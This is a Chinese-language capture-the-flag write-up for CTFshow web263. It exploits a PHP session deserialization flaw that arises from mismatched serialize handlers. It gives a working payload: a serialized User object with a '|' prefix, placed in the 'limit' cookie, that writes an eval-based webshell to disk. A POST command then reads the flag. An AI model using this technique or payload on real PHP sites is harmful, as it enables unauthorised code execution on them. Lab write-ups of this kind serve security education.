CTFshow 反序列化 web263


源码

也没有什么别的信息,扫一下目录,下载www.zip拿到源码


思路

知识点:
  1. php在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取$_SESSION数据,都会对数据序列化和反序列化,源码中有session_start的时候会读取session,从而进行反序列化.
  2. php . ini 中默认 session.serialize_handler 为 php_serialize,而 index.php 中将其设置为 php ,这个差异就导致了 sesssion 反序列化问题。
  3. php有三种处理器对$_SESSION数据进行序列化和反序列化。

php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
php 键名+竖线(|)+经过serialize()函数处理过的值
php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

先找几个关键点

index.php

$_SESSION['limti']键名写错了,应该是limit,所以永远不成立,我们可以通过$_SESSION['limit']=base64_decode($_COOKIE['limit'])来控制session的值

	session_start();
	//超过5次禁止登陆
	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
			}else{
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}

在check.php中我们发现了require_once 'inc/inc.php';,进入inc.php

发现在User类的魔术方法中可以写入文件,虽然没有给让我们进行反序列化的代码,不过ini_set('session.serialize_handler', 'php');,把session.serialize_handler设置为了php,和index.php不一致,可以利用它来反序列化.

php . ini 中默认 session.serialize_handler 为 php_serialize,而 index.php 中将其设置为 php ,这个差异就导致了 sesssion 反序列化问题。

ini_set('session.serialize_handler', 'php');
session_start();
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

(盗用下Y1ng师傅的图)
php_serialize

在这里插入图片描述

php
在这里插入图片描述

index.php页面session.serialize_handler为php_serialize,存储在里面的值是经过序列化了的,check.php和inc/inc.php的session.serialize_handler为php,而且用了session_start(),可以读取session文件进行反序列化操作

正常来说在index.php页面存储的session不能正常在check.php和inc/inc.php进行反序列化,但是如果在属性的值中加入|的话 ,在check.php和inc/inc.php页面反序列化的时候|前面的会被看做键名,会对|后面的进行反序列化

在本地构造一下,可以通过base64编码后在index.php页面传入cookie中的limit,让序列化的结果以php_serialize的方式存储进去

<?php
class User{
    public $username='1.php';
    public $password = '<?php echo 123;eval($_POST["Kradress"]);?>';
    // public $status;

    // function setStatus($s){
    //     $this->status=$s;
    // }
    // function __destruct(){
    //     file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    // }
}

//fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czo0MjoiPD9waHAgZWNobyAxMjM7ZXZhbCgkX1BPU1RbIktyYWRyZXNzIl0pOz8%2BIjt9
echo  urlencode(base64_encode("|".serialize(new User)));

然后访问check.php或者inc/inc.php,执行session_start()来读取session文件来反序列化,然后当前目录就会生成log-1.php文件,访问回显123,说明我们的代码成功写入,就可以直接getshell了
在这里插入图片描述

题解

<?php
class User{
    public $username='1.php';
    public $password = '<?php echo 123;eval($_POST["Kradress"]);?>';
    // public $status;

    // function setStatus($s){
    //     $this->status=$s;
    // }
    // function __destruct(){
    //     file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    // }
}

echo  urlencode(base64_encode("|".serialize(new User)));
//Cookie:limit=fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czo0MjoiPD9waHAgZWNobyAxMjM7ZXZhbCgkX1BPU1RbIktyYWRyZXNzIl0pOz8%2BIjt9
//post:Kradress=?><?=`tac f*`;

在这里插入图片描述


总结

其实还可以在check.php和inc/inc.php页面上传PHP_SESSION_UPLOAD_PROGRESS来解的,PHP_SESSION_UPLOAD_PROGRESS存入session的时候默认以php_serialize的方式,通过把上传文件的filename的值改为| +序列化,然后再check.php和inc/inc.php页面执行session_start也可以反序列化,如果clean up开着的话可以用条件竞争

不过我自己在做Y1ng师傅给的题目的时候发现后面拼接上了一个"tmp_name",导致反序列化失败,具体还不知道原因
在这里插入图片描述

  • 7
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值